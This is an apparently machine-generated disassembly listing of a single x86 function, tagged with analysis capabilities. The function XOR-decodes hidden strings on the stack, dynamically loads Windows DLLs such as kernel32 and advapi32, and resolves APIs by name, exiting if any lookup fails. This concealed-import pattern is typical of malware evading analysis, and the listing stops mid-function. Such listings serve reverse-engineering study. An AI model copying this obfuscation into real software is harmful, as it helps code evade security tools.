Function at 0x10014600
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1a9c
call fcn.1004cc90
push ebx
mov eax, 0xa0
mov dword [0x100ac240], 0x1009b140
push esi
push edi
mov edi, 0xa0
mov word [esp + 0x560], ax
lea ebx, [eax + 0x2e]
mov esi, 0xcc
xor bx, di
lea ecx, [eax + 0x24]
mov word [esp + 0x562], bx
mov ax, si
mov ebx, 0xd4
mov dx, si
xor bx, di
mov word [esp + 0x564], bx
mov ebx, ecx
xor bx, di
mov word [esp + 0x566], bx
mov ebx, esi
xor bx, di
mov word [esp + 0x568], bx
mov ebx, edi
xor ax, bx
mov edi, 0x8e
mov word [esp + 0x56a], ax
xor si, bx
xor eax, eax
mov word [esp + 0x572], si
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor cx, bx
mov word [esp + 0x574], ax
xor dx, bx
lea eax, [esp + 0x562]
mov word [esp + 0x56e], cx
xor di, bx
mov word [esp + 0x570], dx
push eax
mov word [esp + 0x570], di
call esi
mov dword [0x100ac244], eax
lea edi, [ebx - 0x6d]
xor ecx, ecx
mov dword [esp + 0x7a6], 0x4b0000
mov dword [esp + 0x7aa], 0x720065
xor eax, eax
mov dword [esp + 0x7ae], 0x65006e
mov dword [esp + 0x7b2], 0x33006c
mov dword [esp + 0x7b6], 0x2e0032
mov dword [esp + 0x7ba], 0x6c0064
mov dword [esp + 0x7be], 0x6c
nop word [eax + eax]
xor word [esp + eax*2 + 0x7a8], cx
inc eax
cmp eax, 0xc
jge 0x10014748
mov cx, word [esp + 0x7a6]
jmp 0x10014730
xor eax, eax
mov word [esp + 0x7c0], ax
lea eax, [esp + 0x7a8]
push eax
call esi
mov dword [0x100ac248], eax
mov ecx, pe_nt_image_headers32
mov dword [esp + 0x7c2], 0xc10080
xor eax, eax
mov dword [esp + 0x7c6], 0xf600e4
mov dword [esp + 0x7ca], 0xf000e1
mov dword [esp + 0x7ce], 0xb300e9
mov dword [esp + 0x7d2], 0xae00b2
mov dword [esp + 0x7d6], 0xec00e4
mov dword [esp + 0x7da], 0xec
nop word [eax + eax]
xor word [esp + eax*2 + 0x7c4], cx
inc eax
cmp eax, 0xc
jge 0x100147d8
mov cx, word [esp + 0x7c2]
jmp 0x100147c0
xor eax, eax
mov word [esp + 0x7dc], ax
lea eax, [esp + 0x7c4]
push eax
call esi
mov dword [0x100ac24c], eax
xor ecx, ecx
mov dword [esp + 0x7de], 0x410000
xor eax, eax
mov dword [esp + 0x7e2], 0x490056
mov dword [esp + 0x7e6], 0x410043
mov dword [esp + 0x7ea], 0x330050
mov dword [esp + 0x7ee], 0x2e0032
mov dword [esp + 0x7f2], 0x6c0064
mov dword [esp + 0x7f6], 0x6c
xor word [esp + eax*2 + 0x7e0], cx
inc eax
cmp eax, 0xc
jge 0x1001485a
mov cx, word [esp + 0x7de]
jmp 0x10014842
xor eax, eax
mov word [esp + 0x7f8], ax
lea eax, [esp + 0x7e0]
push eax
call esi
mov dword [0x100ac250], eax
mov esi, 0x35
mov eax, 0x40
mov cx, di
mov dword [esp + 0x14], eax
xor si, word [esp + 0x14]
mov word [esp + 0x644], si
mov esi, 0x40
xor cx, si
mov word [esp + 0x642], ax
mov word [esp + 0x646], cx
lea edi, [eax - 0x1b]
mov ecx, 0x72
lea ebx, [eax + 0x33]
xor cx, si
lea edx, [eax - 0xe]
mov word [esp + 0x64e], cx
lea eax, [edi + 7]
mov ecx, 0x6e
xor bx, si
xor cx, si
mov word [esp + 0x64c], bx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor dx, si
mov word [esp + 0x650], cx
xor di, si
mov ecx, 0x24
mov word [esp + 0x648], di
xor cx, si
mov word [esp + 0x64a], dx
mov word [esp + 0x652], cx
mov ecx, eax
xor ax, si
xor cx, si
mov word [esp + 0x656], ax
xor eax, eax
mov word [esp + 0x658], ax
lea eax, [esp + 0x644]
push eax
mov word [esp + 0x658], cx
call ebx
mov dword [0x100ac254], eax
mov ebx, pe_nt_image_headers32
mov eax, pe_nt_image_headers32
mov word [esp + 0x65a], ax
lea ecx, [eax + 0x57]
lea edx, [eax + 0x6e]
lea esi, [eax + 0x73]
xor dx, bx
lea edi, [eax + 0x74]
mov word [esp + 0x660], dx
lea eax, [ecx + 0x15]
xor si, bx
xor cx, bx
mov word [esp + 0x662], si
mov word [esp + 0x65c], cx
xor di, bx
mov ecx, 0xe9
mov word [esp + 0x664], di
xor cx, bx
mov word [esp + 0x65e], cx
mov ecx, 0xe1
xor cx, bx
mov word [esp + 0x666], cx
mov ecx, 0xae
xor cx, bx
mov word [esp + 0x668], cx
mov ecx, 0xe4
xor cx, bx
mov word [esp + 0x66a], cx
mov ecx, eax
xor ax, bx
xor cx, bx
mov word [esp + 0x66e], ax
xor eax, eax
mov word [esp + 0x66c], cx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov word [esp + 0x670], ax
lea eax, [esp + 0x65c]
push eax
call ebx
mov ecx, 0x20
mov dword [0x100ac258], eax
xor eax, eax
mov dword [esp + 0x6ee], 0x550020
mov dword [esp + 0x6f2], 0x490054
mov dword [esp + 0x6f6], 0x44004c
lea esi, [ecx + 0x29]
mov dword [esp + 0x6fa], 0x4c004c
lea edi, [ecx + 0x24]
mov dword [esp + 0x6fe], 0x44000e
mov dword [esp + 0x702], 0x4c004c
mov word [esp + 0x706], ax
nop dword [eax + eax]
xor word [esp + eax*2 + 0x6f0], cx
inc eax
cmp eax, 0xb
jge 0x10014a78
mov cx, word [esp + 0x6ee]
jmp 0x10014a60
xor eax, eax
mov word [esp + 0x706], ax
lea eax, [esp + 0x6f0]
push eax
call ebx
xor ebx, ebx
mov dword [0x100ac25c], eax
mov ecx, 0x47
xor eax, eax
xor cx, bx
mov word [esp + 0x576], ax
mov word [esp + 0x578], cx
mov edx, 0x6c
mov ecx, 0x33
mov ax, dx
xor cx, bx
xor ax, bx
mov word [esp + 0x57e], cx
xor dx, bx
mov ecx, 0x32
mov word [esp + 0x588], ax
xor cx, bx
mov word [esp + 0x586], dx
mov word [esp + 0x580], cx
xor eax, eax
mov ecx, 0x2e
mov word [esp + 0x58a], ax
xor cx, bx
lea eax, [esp + 0x578]
mov word [esp + 0x582], cx
xor di, bx
mov ecx, 0x64
mov word [esp + 0x57a], di
xor cx, bx
xor si, bx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
mov word [esp + 0x580], si
mov word [esp + 0x588], cx
call ebx
mov dword [0x100ac260], eax
mov ecx, 0xe0
xor eax, eax
mov dword [esp + 0x708], 0xb300e0
mov dword [esp + 0x70c], 0xa500a8
mov dword [esp + 0x710], 0xac00ac
mov dword [esp + 0x714], 0xd200d3
mov dword [esp + 0x718], 0x8400ce
mov dword [esp + 0x71c], 0x8c008c
mov word [esp + 0x720], ax
xor word [esp + eax*2 + 0x70a], cx
inc eax
cmp eax, 0xb
jge 0x10014ba9
mov cx, word [esp + 0x708]
jmp 0x10014b91
xor eax, eax
mov word [esp + 0x720], ax
lea eax, [esp + 0x70a]
push eax
call ebx
mov edx, dword [0x100ac244]
mov dword [0x100ac264], eax
test edx, edx
je 0x10014f72
mov cl, 0x40
mov dword [esp + 0x1e0], 0x2c341240
mov dword [esp + 0x1e4], 0x16342507
xor eax, eax
mov dword [esp + 0x1e8], 0x29333225
mov word [esp + 0x1ec], 0x2e2f
mov byte [esp + 0x1ee], 0
nop word [eax + eax]
xor byte [esp + eax + 0x1e1], cl
inc eax
cmp eax, 0xd
jge 0x10014c26
mov cl, byte [esp + 0x1e0]
jmp 0x10014c10
lea eax, [esp + 0x1e1]
mov byte [esp + 0x1ee], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac268], eax
test eax, eax
jne 0x10014cc3
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0xdcb], xmm0
mov dword [esp + 0xdeb], 0x8f899392
movaps xmm0, xmmword [0x1009d2a0]
movups xmmword [esp + 0xddb], xmm0
mov dword [esp + 0xdef], 0x81a6c08e
mov word [esp + 0xdf3], 0x8c89
mov byte [esp + 0xdf5], cl
mov al, byte [esp + 0xdcb]
xor byte [esp + ecx + 0xdcc], al
inc ecx
cmp ecx, 0x29
jl 0x10014c91
lea eax, [esp + 0xdcc]
mov byte [esp + 0xdf5], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d060]
movups xmmword [esp + 0x47e], xmm0
mov dword [esp + 0x48e], 0x6e656b
nop dword [eax]
mov al, byte [esp + 0x47e]
xor byte [esp + ecx + 0x47f], al
inc ecx
cmp ecx, 0x12
jl 0x10014ce0
lea eax, [esp + 0x47f]
mov byte [esp + 0x491], 0
push eax
push dword [0x100ac244]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac28c], eax
test eax, eax
jne 0x10014d82
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x14e5], xmm0
movaps xmm0, xmmword [0x1009d420]
movups xmmword [esp + 0x14f5], xmm0
movaps xmm0, xmmword [0x1009c9b0]
movups xmmword [esp + 0x1505], xmm0
nop dword [eax]
mov al, byte [esp + 0x14e5]
xor byte [esp + ecx + 0x14e6], al
inc ecx
cmp ecx, 0x2e
jl 0x10014d50
lea eax, [esp + 0x14e6]
mov byte [esp + 0x1514], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d030]
movups xmmword [esp + 0x722], xmm0
mov dword [esp + 0x732], 0x6d726f66
mov dword [esp + 0x736], 0x6f697461
mov word [esp + 0x73a], 0x6e
mov al, byte [esp + 0x722]
xor byte [esp + ecx + 0x723], al
inc ecx
cmp ecx, 0x18
jl 0x10014db1
lea eax, [esp + 0x723]
mov byte [esp + 0x73b], 0
push eax
push dword [0x100ac244]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac26c], eax
test eax, eax
jne 0x10014e72
movaps xmm0, xmmword [0x1009d650]
movups xmmword [esp + 0x1998], xmm0
mov dword [esp + 0x19c8], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d580]
movups xmmword [esp + 0x19a8], xmm0
mov word [esp + 0x19cc], 0xec
movaps xmm0, xmmword [0x1009d740]
movups xmmword [esp + 0x19b8], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1998]
xor byte [esp + ecx + 0x1999], al
inc ecx
cmp ecx, 0x34
jl 0x10014e40
lea eax, [esp + 0x1999]
mov byte [esp + 0x19cd], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d190]
movups xmmword [esp + 0x770], xmm0
mov dword [esp + 0x780], 0x506e6f69
mov dword [esp + 0x784], 0x65636f72
mov word [esp + 0x788], 0x7373
mov byte [esp + 0x78a], 0
nop dword [eax]
mov al, byte [esp + 0x770]
xor byte [esp + ecx + 0x771], al
inc ecx
cmp ecx, 0x19
jl 0x10014eb0
lea eax, [esp + 0x771]
mov byte [esp + 0x78a], 0
push eax
push dword [0x100ac244]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac270], eax
test eax, eax
jne 0x10014f72
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x1a3a], xmm0
mov dword [esp + 0x1a6a], 0x41660053
movaps xmm0, xmmword [0x1009cfa0]
movups xmmword [esp + 0x1a4a], xmm0
mov word [esp + 0x1a6e], 0x4c49
movaps xmm0, xmmword [0x1009ce10]
movups xmmword [esp + 0x1a5a], xmm0
mov byte [esp + 0x1a70], al
nop dword [eax]
mov al, byte [esp + 0x1a3a]
xor byte [esp + ecx + 0x1a3b], al
inc ecx
cmp ecx, 0x35
jl 0x10014f40
lea eax, [esp + 0x1a3b]
mov byte [esp + 0x1a70], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac248]
test edx, edx
je 0x10016f32
xor cl, cl
mov dword [esp + 0x154], 0x74654700
mov dword [esp + 0x158], 0x6b636954
xor eax, eax
mov dword [esp + 0x15c], 0x6e756f43
mov word [esp + 0x160], 0x74
nop
xor byte [esp + eax + 0x155], cl
inc eax
cmp eax, 0xc
jge 0x10014fc6
mov cl, byte [esp + 0x154]
jmp 0x10014fb0
lea eax, [esp + 0x155]
mov byte [esp + 0x161], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac274], eax
test eax, eax
jne 0x10015062
movaps xmm0, xmmword [0x1009cef0]
movups xmmword [esp + 0xc27], xmm0
mov dword [esp + 0xc47], 0x746e756f
movaps xmm0, xmmword [0x1009cd00]
movups xmmword [esp + 0xc37], xmm0
mov dword [esp + 0xc4b], 0x69614620
mov word [esp + 0xc4f], 0x6c
nop
mov al, byte [esp + 0xc27]
xor byte [esp + ecx + 0xc28], al
inc ecx
cmp ecx, 0x28
jl 0x10015030
lea eax, [esp + 0xc28]
mov byte [esp + 0xc50], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cf60]
movups xmmword [esp + 0x3a6], xmm0
mov word [esp + 0x3b6], 0x57
nop dword [eax + eax]
mov al, byte [esp + 0x3a6]
xor byte [esp + ecx + 0x3a7], al
inc ecx
cmp ecx, 0x10
jl 0x10015080
lea eax, [esp + 0x3a7]
mov byte [esp + 0x3b7], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac278], eax
test eax, eax
jne 0x10015142
movaps xmm0, xmmword [0x1009d650]
movups xmmword [esp + 0x12bd], xmm0
mov dword [esp + 0x12dd], 0xcef2e5f4
movaps xmm0, xmmword [0x1009d7e0]
movups xmmword [esp + 0x12cd], xmm0
mov dword [esp + 0x12e1], 0xd7e5ede1
mov dword [esp + 0x12e5], 0xe9e1c6a0
mov word [esp + 0x12e9], 0xec
nop dword [eax]
mov al, byte [esp + 0x12bd]
xor byte [esp + ecx + 0x12be], al
inc ecx
cmp ecx, 0x2c
jl 0x10015110
lea eax, [esp + 0x12be]
mov byte [esp + 0x12ea], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cbb0]
movups xmmword [esp + 0x6a3], xmm0
mov dword [esp + 0x6b3], 0x29323413
mov dword [esp + 0x6b7], 0x1733272e
mov byte [esp + 0x6bb], 0
nop
mov al, byte [esp + 0x6a3]
xor byte [esp + ecx + 0x6a4], al
inc ecx
cmp ecx, 0x17
jl 0x10015170
lea eax, [esp + 0x6a4]
mov byte [esp + 0x6bb], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac27c], eax
test eax, eax
jne 0x10015232
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x18f9], xmm0
mov dword [esp + 0x1929], 0x4c494166
movaps xmm0, xmmword [0x1009ccd0]
movups xmmword [esp + 0x1909], xmm0
mov byte [esp + 0x192d], al
movaps xmm0, xmmword [str.ALdRIVEsTRINGSw]
movups xmmword [esp + 0x1919], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x18f9]
xor byte [esp + ecx + 0x18fa], al
inc ecx
cmp ecx, 0x33
jl 0x10015200
lea eax, [esp + 0x18fa]
mov byte [esp + 0x192d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1ef], 0x74654700
mov dword [esp + 0x1f3], 0x76697244
xor eax, eax
mov dword [esp + 0x1f7], 0x70795465
mov word [esp + 0x1fb], 0x5765
mov byte [esp + 0x1fd], cl
nop dword [eax + eax]
xor byte [esp + eax + 0x1f0], cl
inc eax
cmp eax, 0xd
jge 0x10015286
mov cl, byte [esp + 0x1ef]
jmp 0x10015270
lea eax, [esp + 0x1f0]
mov byte [esp + 0x1fd], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac280], eax
test eax, eax
jne 0x10015332
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0xdf6], xmm0
mov dword [esp + 0xe16], 0xc5d0d9f4
movaps xmm0, xmmword [0x1009d4d0]
movups xmmword [esp + 0xe06], xmm0
mov dword [esp + 0xe1a], 0xc1e680f7
mov word [esp + 0xe1e], 0xccc9
mov byte [esp + 0xe20], cl
nop word [eax + eax]
mov al, byte [esp + 0xdf6]
xor byte [esp + ecx + 0xdf7], al
inc ecx
cmp ecx, 0x29
jl 0x10015300
lea eax, [esp + 0xdf7]
mov byte [esp + 0xe20], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d360]
movups xmmword [esp + 0x4e2], xmm0
mov dword [esp + 0x4f2], 0x97b885a5
mov byte [esp + 0x4f6], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x4e2]
xor byte [esp + ecx + 0x4e3], al
inc ecx
cmp ecx, 0x13
jl 0x10015360
lea eax, [esp + 0x4e3]
mov byte [esp + 0x4f6], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac284], eax
test eax, eax
jne 0x10015412
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x15d5], xmm0
mov byte [esp + 0x1605], cl
movaps xmm0, xmmword [0x1009cf70]
movups xmmword [esp + 0x15e5], xmm0
movaps xmm0, xmmword [0x1009cda0]
movups xmmword [esp + 0x15f5], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x15d5]
xor byte [esp + ecx + 0x15d6], al
inc ecx
cmp ecx, 0x2f
jl 0x100153e0
lea eax, [esp + 0x15d6]
mov byte [esp + 0x1605], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c920]
movups xmmword [esp + 0x2c1], xmm0
mov al, byte [esp + 0x2c1]
xor byte [esp + ecx + 0x2c2], al
inc ecx
cmp ecx, 0xe
jl 0x10015421
lea eax, [esp + 0x2c2]
mov byte [esp + 0x2d0], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac288], eax
test eax, eax
jne 0x100154e2
movaps xmm0, xmmword [0x1009cb70]
movups xmmword [esp + 0x1050], xmm0
mov dword [esp + 0x1070], 0x3325232f
movaps xmm0, xmmword [0x1009cc40]
movups xmmword [esp + 0x1060], xmm0
mov dword [esp + 0x1074], 0x6601733
mov dword [esp + 0x1078], 0x2c2921
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1050]
xor byte [esp + ecx + 0x1051], al
inc ecx
cmp ecx, 0x2a
jl 0x100154b0
lea eax, [esp + 0x1051]
mov byte [esp + 0x107b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cb50]
movups xmmword [esp + 0x4f7], xmm0
mov dword [esp + 0x507], 0x3423252a
mov byte [esp + 0x50b], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x4f7]
xor byte [esp + ecx + 0x4f8], al
inc ecx
cmp ecx, 0x13
jl 0x10015510
lea eax, [esp + 0x4f8]
mov byte [esp + 0x50b], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac290], eax
test eax, eax
jne 0x100155c2
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0x1606], xmm0
mov byte [esp + 0x1636], cl
movaps xmm0, xmmword [0x1009d7a0]
movups xmmword [esp + 0x1616], xmm0
movaps xmm0, xmmword [0x1009d510]
movups xmmword [esp + 0x1626], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1606]
xor byte [esp + ecx + 0x1607], al
inc ecx
cmp ecx, 0x2f
jl 0x10015590
lea eax, [esp + 0x1607]
mov byte [esp + 0x1636], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cf50]
movups xmmword [esp + 0x673], xmm0
mov dword [esp + 0x683], 0x656a624f
mov dword [esp + 0x687], 0x737463
nop word [eax + eax]
mov al, byte [esp + 0x673]
xor byte [esp + ecx + 0x674], al
inc ecx
cmp ecx, 0x16
jl 0x100155f0
lea eax, [esp + 0x674]
mov byte [esp + 0x68a], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac294], eax
test eax, eax
jne 0x100156a2
movaps xmm0, xmmword [0x1009cb70]
movups xmmword [esp + 0x1891], xmm0
mov dword [esp + 0x18c1], 0x2c2921
movaps xmm0, xmmword [0x1009cac0]
movups xmmword [esp + 0x18a1], xmm0
movaps xmm0, xmmword [str.5_4_0__]
movups xmmword [esp + 0x18b1], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1891]
xor byte [esp + ecx + 0x1892], al
inc ecx
cmp ecx, 0x32
jl 0x10015670
lea eax, [esp + 0x1892]
mov byte [esp + 0x18c4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d380]
movups xmmword [esp + 0x351], xmm0
mov byte [esp + 0x361], 0
nop dword [eax]
mov al, byte [esp + 0x351]
xor byte [esp + ecx + 0x352], al
inc ecx
cmp ecx, 0xf
jl 0x100156c0
lea eax, [esp + 0x352]
mov byte [esp + 0x361], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac298], eax
test eax, eax
jne 0x10015782
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0x11dc], xmm0
mov dword [esp + 0x11fc], 0xd2c8f4c5
movaps xmm0, xmmword [0x1009d590]
movups xmmword [esp + 0x11ec], xmm0
mov dword [esp + 0x1200], 0x80c4c1c5
mov dword [esp + 0x1204], 0xccc9c1e6
mov byte [esp + 0x1208], al
nop dword [eax]
mov al, byte [esp + 0x11dc]
xor byte [esp + ecx + 0x11dd], al
inc ecx
cmp ecx, 0x2b
jl 0x10015750
lea eax, [esp + 0x11dd]
mov byte [esp + 0x1208], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0xc5], 0xefecc380
mov dword [esp + 0xc9], 0xe1c8e5f3
xor eax, eax
mov dword [esp + 0xcd], 0xe5ece4ee
mov byte [esp + 0xd1], 0
nop
xor byte [esp + eax + 0xc6], cl
inc eax
cmp eax, 0xb
jge 0x100157c6
mov cl, byte [esp + 0xc5]
jmp 0x100157b0
lea eax, [esp + 0xc6]
mov byte [esp + 0xd1], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac29c], eax
test eax, eax
jne 0x10015862
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0xa64], xmm0
mov dword [esp + 0xa84], 0xc0858c84
movaps xmm0, xmmword [0x1009d2e0]
movups xmmword [esp + 0xa74], xmm0
mov dword [esp + 0xa88], 0x8c8981a6
mov byte [esp + 0xa8c], cl
nop dword [eax]
mov al, byte [esp + 0xa64]
xor byte [esp + ecx + 0xa65], al
inc ecx
cmp ecx, 0x27
jl 0x10015830
lea eax, [esp + 0xa65]
mov byte [esp + 0xa8c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d150]
movups xmmword [esp + 0x3b8], xmm0
mov word [esp + 0x3c8], 0x73
nop dword [eax + eax]
mov al, byte [esp + 0x3b8]
xor byte [esp + ecx + 0x3b9], al
inc ecx
cmp ecx, 0x10
jl 0x10015880
lea eax, [esp + 0x3b9]
mov byte [esp + 0x3c9], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2a0], eax
test eax, eax
jne 0x10015942
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x12eb], xmm0
mov dword [esp + 0x130b], 0xeff2d0e5
movaps xmm0, xmmword [0x1009d7b0]
movups xmmword [esp + 0x12fb], xmm0
mov dword [esp + 0x130f], 0xf3f3e5e3
mov dword [esp + 0x1313], 0xe9e1c6a0
mov word [esp + 0x1317], 0xec
nop dword [eax]
mov al, byte [esp + 0x12eb]
xor byte [esp + ecx + 0x12ec], al
inc ecx
cmp ecx, 0x2c
jl 0x10015910
lea eax, [esp + 0x12ec]
mov byte [esp + 0x1318], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x95], 0
mov al, 0x43
xor al, byte [esp + 0x95]
mov cl, 0x72
xor cl, byte [esp + 0x95]
mov dl, 0x65
mov byte [esp + 0x96], al
mov ch, dl
mov byte [esp + 0x97], cl
mov ah, 0x74
mov cl, byte [esp + 0x95]
mov dh, 0x50
mov byte [esp + 0x13], 0x70
xor ah, cl
mov al, byte [esp + 0x13]
mov bl, 0x61
xor al, cl
mov byte [esp + 0x12], ch
mov byte [esp + 0x9e], al
xor ch, cl
mov al, byte [esp + 0x12]
mov bh, 0x69
xor al, cl
mov byte [esp + 0x9a], ah
mov byte [esp + 0x9f], al
xor dl, cl
lea eax, [esp + 0x96]
mov byte [esp + 0x9b], ch
push eax
push dword [0x100ac248]
xor bl, cl
mov byte [esp + 0xa8], 0
xor dh, cl
mov byte [esp + 0xa0], dl
xor bh, cl
mov byte [esp + 0xa1], bl
mov ecx, 0x100ac240
mov byte [esp + 0xa4], dh
mov byte [esp + 0xa5], bh
mov byte [esp + 0xa8], 0
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac2a4], eax
test eax, eax
jne 0x10015a72
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x9c4], xmm0
mov dword [esp + 0x9e4], 0x86e0a5b0
movaps xmm0, xmmword [0x1009d3d0]
movups xmmword [esp + 0x9d4], xmm0
mov dword [esp + 0x9e8], 0xaca9a1
nop dword [eax]
mov al, byte [esp + 0x9c4]
xor byte [esp + ecx + 0x9c5], al
inc ecx
cmp ecx, 0x26
jl 0x10015a40
lea eax, [esp + 0x9c5]
mov byte [esp + 0x9eb], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d390]
movups xmmword [esp + 0x50c], xmm0
mov dword [esp + 0x51c], 0xa5b0a990
mov byte [esp + 0x520], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x50c]
xor byte [esp + ecx + 0x50d], al
inc ecx
cmp ecx, 0x13
jl 0x10015aa0
lea eax, [esp + 0x50d]
mov byte [esp + 0x520], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2a8], eax
test eax, eax
jne 0x10015b52
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x1637], xmm0
mov byte [esp + 0x1667], al
movaps xmm0, xmmword [0x1009cd30]
movups xmmword [esp + 0x1647], xmm0
movaps xmm0, xmmword [0x1009cd70]
movups xmmword [esp + 0x1657], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1637]
xor byte [esp + ecx + 0x1638], al
inc ecx
cmp ecx, 0x2f
jl 0x10015b20
lea eax, [esp + 0x1638]
mov byte [esp + 0x1667], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x1fe], 0xe5e5d080
mov dword [esp + 0x202], 0xede1ceeb
xor eax, eax
mov dword [esp + 0x206], 0xe9d0e4e5
mov word [esp + 0x20a], 0xe5f0
mov byte [esp + 0x20c], 0
nop dword [eax]
xor byte [esp + eax + 0x1ff], cl
inc eax
cmp eax, 0xd
jge 0x10015ba6
mov cl, byte [esp + 0x1fe]
jmp 0x10015b90
lea eax, [esp + 0x1ff]
mov byte [esp + 0x20c], 0
push eax
push dword [0x100ac248]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac2ac], eax
test eax, eax
jne 0x10015c52
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0xe21], xmm0
mov dword [esp + 0xe41], 0x50497044
movaps xmm0, xmmword [0x1009cd20]
